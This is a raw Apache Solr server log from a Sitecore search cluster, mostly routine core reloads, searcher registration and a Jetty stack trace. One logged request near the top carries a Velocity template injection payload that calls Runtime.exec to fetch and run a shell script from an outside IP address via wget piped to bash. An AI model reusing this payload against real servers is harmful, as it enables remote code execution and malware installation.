at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
2020-12-20 08:49:16.573 INFO (qtp401424608-8613) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} status=400 QTime=0
2020-12-20 08:49:16.573 INFO (qtp401424608-8613) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = queryResponseWriter,name = velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-12-20 08:49:16.695 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:16.696 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:16.749 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_web_index_shard1_replica2' using configuration from collection sitecore_web_index
2020-12-20 08:49:16.749 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_company_index_shard1_replica1' using configuration from collection sitecore_company_index
2020-12-20 08:49:16.749 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [[sitecore_company_index_shard1_replica1] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_company_index_shard1_replica1], dataDir=[/solrdisk/var/data/sitecore_company_index_shard1_replica1/data/]
2020-12-20 08:49:16.749 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [[sitecore_web_index_shard1_replica2] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_web_index_shard1_replica2], dataDir=[/solrdisk/var/data/sitecore_web_index_shard1_replica2/data/]
2020-12-20 08:49:16.756 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:16.765 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:16.801 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:16.801 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:16.801 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.SolrIndexSearcher Opening [Searcher@1b7718f0[sitecore_company_index_shard1_replica1] main]
2020-12-20 08:49:16.804 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:16.804 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:16.804 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:16.806 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:16.806 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
2020-12-20 08:49:16.806 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:16.809 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:16.809 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@1b7718f0[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.809 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.809 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:16.809 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] Registered new searcher Searcher@1b7718f0[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.820 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.DefaultSolrCoreState New IndexWriter is ready to be used.
2020-12-20 08:49:16.821 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.SolrIndexSearcher Opening [Searcher@2d8de96[sitecore_company_index_shard1_replica1] main]
2020-12-20 08:49:16.822 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] CLOSING SolrCore org.apache.solr.core.SolrCore@67e1ee5b<ma...@67e1ee5b>
2020-12-20 08:49:16.822 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@2d8de96[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.822 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.822 INFO (searcherExecutor-11096-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] Registered new searcher Searcher@2d8de96[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.825 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:16.825 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:16.825 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.m.SolrMetricManager Closing metric reporters for: solr.core.sitecore_company_index.shard1.replica1
2020-12-20 08:49:16.826 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore config update listener called for core sitecore_web_index_shard1_replica2
2020-12-20 08:49:16.827 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore core reload sitecore_web_index_shard1_replica2
2020-12-20 08:49:16.827 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore Another reload is in progress. Not doing anything.
2020-12-20 08:49:16.827 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore config update listener called for core sitecore_core_index_shard1_replica1
2020-12-20 08:49:16.827 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.SolrIndexSearcher Opening [Searcher@787ab421[sitecore_web_index_shard1_replica2] main]
2020-12-20 08:49:16.828 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore core reload sitecore_core_index_shard1_replica1
2020-12-20 08:49:16.830 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:16.830 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:16.830 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:16.832 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:16.832 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
2020-12-20 08:49:16.832 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:16.838 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:16.838 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:16.838 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:16.839 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@787ab421[sitecore_web_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_4(6.6.6):C10397)))}
2020-12-20 08:49:16.839 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.839 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:16.839 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_web_index_shard1_replica2] Registered new searcher Searcher@787ab421[sitecore_web_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_4(6.6.6):C10397)))}
2020-12-20 08:49:16.839 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrResourceLoader [sitecore_core_index_shard1_replica1] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:16.859 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.DefaultSolrCoreState New IndexWriter is ready to be used.
2020-12-20 08:49:16.868 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.SolrIndexSearcher Opening [Searcher@7034e2e0[sitecore_web_index_shard1_replica2] main]
2020-12-20 08:49:16.869 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_web_index_shard1_replica2] CLOSING SolrCore org.apache.solr.core.SolrCore@22b891f7<ma...@22b891f7>
2020-12-20 08:49:16.869 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@7034e2e0[sitecore_web_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_4(6.6.6):C10397)))}
2020-12-20 08:49:16.869 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.869 INFO (searcherExecutor-11097-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_web_index_shard1_replica2] Registered new searcher Searcher@7034e2e0[sitecore_web_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_4(6.6.6):C10397)))}
2020-12-20 08:49:16.879 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.m.SolrMetricManager Closing metric reporters for: solr.core.sitecore_web_index.shard1.replica2
2020-12-20 08:49:16.879 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore config update listener called for core sitecore_core_index_shard1_replica1
2020-12-20 08:49:16.881 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore core reload sitecore_core_index_shard1_replica1
2020-12-20 08:49:16.881 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore Another reload is in progress. Not doing anything.
2020-12-20 08:49:16.881 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore config update listener called for core sitecore_master_index_shard1_replica2
2020-12-20 08:49:16.881 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore core reload sitecore_master_index_shard1_replica2
2020-12-20 08:49:16.892 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:16.892 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:16.893 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrResourceLoader [sitecore_master_index_shard1_replica2] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:16.911 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:16.957 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:16.986 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.IndexSchema [sitecore_master_index_shard1_replica2] Schema name=example-basic
2020-12-20 08:49:17.007 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.IndexSchema [sitecore_core_index_shard1_replica1] Schema name=example-basic
2020-12-20 08:49:17.295 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:17.308 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:17.360 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_master_index_shard1_replica2' using configuration from collection sitecore_master_index
2020-12-20 08:49:17.361 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [[sitecore_master_index_shard1_replica2] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_master_index_shard1_replica2], dataDir=[/solrdisk/var/data/sitecore_master_index_shard1_replica2/data/]
2020-12-20 08:49:17.366 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:17.384 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_core_index_shard1_replica1' using configuration from collection sitecore_core_index
2020-12-20 08:49:17.385 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [[sitecore_core_index_shard1_replica1] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_core_index_shard1_replica1], dataDir=[/solrdisk/var/data/sitecore_core_index_shard1_replica1/data/]
2020-12-20 08:49:17.390 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:17.434 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:17.434 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:17.436 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:17.436 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:17.438 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.SolrIndexSearcher Opening [Searcher@3c8ce1f3[sitecore_master_index_shard1_replica2] main]
2020-12-20 08:49:17.442 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.SolrIndexSearcher Opening [Searcher@41ee6390[sitecore_core_index_shard1_replica1] main]
2020-12-20 08:49:17.443 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:17.443 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:17.443 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:17.444 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:17.444 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
2020-12-20 08:49:17.445 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:17.446 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:17.447 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:17.447 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:17.448 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:17.448 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:17.448 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
